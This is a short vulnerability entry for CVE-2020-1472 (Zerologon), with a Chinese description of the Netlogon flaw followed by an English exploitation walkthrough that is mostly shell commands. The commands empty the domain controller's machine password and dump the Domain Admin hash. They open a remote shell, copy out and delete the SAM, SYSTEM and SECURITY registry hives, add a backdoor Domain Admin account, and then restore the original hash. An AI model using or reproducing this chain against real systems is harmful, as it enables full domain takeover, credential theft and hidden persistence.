Microsoft Windows Netlogon 安全特征问题漏洞
(CVE-2020-1472)
描述：Microsoft Windows Netlogon是美国微软（Microsoft）公司的Windows的一个重要组件，主要功能是用户和机器在域内网络上的认证，以及复制数据库以进行域控备份，同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。 Microsoft Windows Netlogon 存在安全漏洞。攻击者可以使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器的易受攻击的 Netlogon 安全通道连接并进行特权提升。

zerologon script to exploit CVE-2020-1472 CVSS 10/10
Exploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc. https://github.com/risksense/zerologon
To exploit, clear out any previous Impacket installs you have and install Impacket from https://github.com/SecureAuthCorp/impacket/commit/b867b21 or newer.
`apt update `
`apt remove --purge impacket-scripts python3-impacket `
`apt autoremove `
`git clone https://github.com/rthalley/dnspython.git `
`sudo python3 setup.py install `
`cd .. `
`git clone https://github.com/SecureAuthCorp/impacket.git `
`cd impacket `
`sudo python3 setup.py install `
`git clone `
Then, do:
`python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR`
If that's successful you will then be able to:
`sudo secretsdump.py -just-dc domain/hostname\$@ip`
pressing "Enter" on prompt for password will pass you through,
which should get you Domain Admin hash. After you have that, wmiexec.py to the target DC with a credential from the secretsdump
`wmiexec.py domain/Administrator@ip -hashes hash`
and do
`reg save HKLM\SYSTEM system.save`
`get system.save`
`del /f system.save`
`reg save HKLM\SAM sam.save`
`get sam.save`
`del /f sam.save`
`reg save HKLM\SECURITY security.save`
`get security.save`
`del /f security.save`
And then you can create a new Admin account just in case,
`net user myadmin Hello1234 /ADD /DOMAIN`
and add the new account to domain admins group to obtain full privilages,
`net group "Domain Admins" myadmin /ADD /DOMAIN`
and probably `exit` now from C:\>
Then you can run
`sudo secretsdump.py -sam sam.save -system system.save -security security.save LOCAL`
And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by
`python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH`
Reinstalling the original hash is necessary for the DC to continue operating normally.
And just to make sure if the restoration process worked,
`sudo secretsdump.py -just-dc domain/hostname\$@ip`
and prressing "Enter" at password prompt won't work anymore.
And we're done here.
Happy hunting.
